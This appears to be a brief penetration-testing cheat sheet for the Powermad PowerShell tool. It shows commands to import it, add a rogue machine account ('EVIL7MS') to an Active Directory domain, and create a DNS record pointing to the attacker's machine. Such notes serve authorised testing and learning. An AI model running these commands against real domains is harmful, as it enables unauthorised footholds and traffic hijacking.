# Powermad.ps1
[powermad](https://github.com/Kevin-Robertson/Powermad) helps you add computers to the domain!

## Import module
```
import-module .\Powermad.ps1
```

## Add machine account to domain
```
New-MachineAccount -MachineAccount EVIL7MS -Password $(ConvertTo-SecureString 'Muah-hah-hah!' -AsPlainText -Force) -Verbose
```

## Add a DNS record to the domain
Typcially I add DNS records with [dnstool.py](/pentesting/Internal/dnstool), but as an alternative, Powermad also comes with a script to add rogue DNS records:

```
. .\Invoke-DNSUpdate.ps1
Invoke-DNSUpdate -DNSType A -DNSName EVILDNSRECORD -DNSData IP.OF-YOUR.ATTACKING.BOX -DomainController ip.of.a.dc
```
